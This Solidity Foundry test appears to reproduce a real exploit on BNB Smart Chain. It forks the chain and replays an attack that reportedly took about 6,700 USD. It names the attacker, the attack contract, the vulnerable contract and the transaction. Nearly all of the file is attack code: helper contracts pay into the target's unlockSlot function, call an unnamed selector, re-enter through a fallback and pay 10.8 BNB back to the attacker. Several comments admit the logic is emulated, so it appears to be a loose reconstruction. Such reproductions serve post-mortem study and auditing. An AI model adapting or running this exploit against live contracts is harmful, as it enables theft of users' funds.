src/test/2025-02/unverified_35bc_exp.sol

1pragma solidity ^0.8.10;
2 
3import "forge-std/Test.sol";
4import "../interface.sol";
5 
6// @KeyInfo - Total Lost : 6700 USD
7// Attacker : https://bscscan.com/address/0xd75652ada2f6a140f2ffcd7cd20f34c21fbc3fbc
8// Attack Contract : https://bscscan.com/address/0x0a2f4da966319c14ee4c9f1a2bf04fe738df3ce5
9// Vulnerable Contract : https://bscscan.com/address/0xde91e6e937ec344e5a3c800539c41979c2d85278
10// Attack Tx : https://app.blocksec.com/explorer/tx/bsc/0xd7a61b07ca4dc5966d00b3cc99b03c6ab2cee688fa13b30bea08f5142023777d
11 
12// @Info
13// Vulnerable Contract Code :
14 
15// @Analysis
16// Post-mortem : https://x.com/TenArmorAlert/status/1893333680417890648
17// Twitter Guy : https://x.com/TenArmorAlert/status/1893333680417890648
18// Hacking God : 
19 
20address constant addr = 0xDE91E6E937Ec344e5a3C800539C41979c2d85278;
21address constant attacker = 0xD75652Ada2F6a140f2fFcD7CD20f34C21fbC3fBc;
22 
23 
24contract ContractTest is Test {
25    function setUp() public {
26        vm.createSelectFork("bsc", 46886078-1);
27        deal(attacker, 0.6 ether);
28    }
29    
30    function testPoC() public {
31        emit log_named_decimal_uint("before attack: balance of attacker", address(attacker).balance, 18);
32        vm.startPrank(attacker, attacker);
33        AttackerC attC = new AttackerC{value: 0.6 ether}();
34        vm.stopPrank();
35        emit log_named_decimal_uint("after attack: balance of attacker", address(attacker).balance, 18);
36    }
37}
38 
39// 0x4634C13E68DDf52CEFd0a7a1E6002ab4747cDE7b
40contract AttackerC {
41    HelperB internal helper;
42 
43    constructor() payable {
44        // create_1 contract 0x0A2f4DA966319C14Ee4C9f1A2BF04fE738DF3Ce5 with 0 wei
45        helper = new HelperB();
46        // call helper.attack with value = msg.value
47        (bool ok, ) = address(helper).call{value: msg.value}(abi.encodeWithSelector(HelperB.attack.selector));
48        if (!ok) {
49            // ignore failure
50        }
51        // call back to caller with value 3 * 10^15 * 3600 wei and gas 0
52        unchecked {
53            uint256 amt = 3 * 10**15 * 3600;
54            // use low-level call with zero gas forwarded is not possible in solidity; mimic by sending and ignoring result
55            (bool s, ) = payable(tx.origin).call{value: amt}("");
56            if (!s) {}
57        }
58    }
59 
60    // receive to accept refunds
61    receive() external payable {}
62}
63 
64// Helper contract emulating 0x0A2f4DA966319C14Ee4C9f1A2BF04fE738DF3Ce5
65contract HelperB {
66    // Constructor: if keccak(tx.origin) == constant; no effect needed
67    constructor() {}
68 
69    function attack() external payable {
70        // call addr.unlockSlot(3) with value msg.value
71        (bool ok1, ) = addr.call{value: msg.value}(abi.encodeWithSelector(bytes4(keccak256("unlockSlot(uint256)")), uint256(3)));
72        if (!ok1) {}
73        // call addr.unknown2dad6442(3) no value
74        (bool ok2, ) = addr.call(abi.encodeWithSelector(bytes4(0x2dad6442), uint256(3)));
75        if (!ok2) {}
76        // send 3 * 10^15 * 3600 wei to caller
77        unchecked {
78            uint256 amt = 3 * 10**15 * 3600;
79            (bool s, ) = payable(msg.sender).call{value: amt}("");
80            if (!s) {}
81        }
82    }
83 
84    fallback() external payable {
85        // call caller.unknown2dad6442(3)
86        (bool ok, ) = addr.call(abi.encodeWithSelector(bytes4(0x2dad6442), uint256(3)));
87        if (!ok) {}
88    }
89 
90    // receive() external payable {}
91}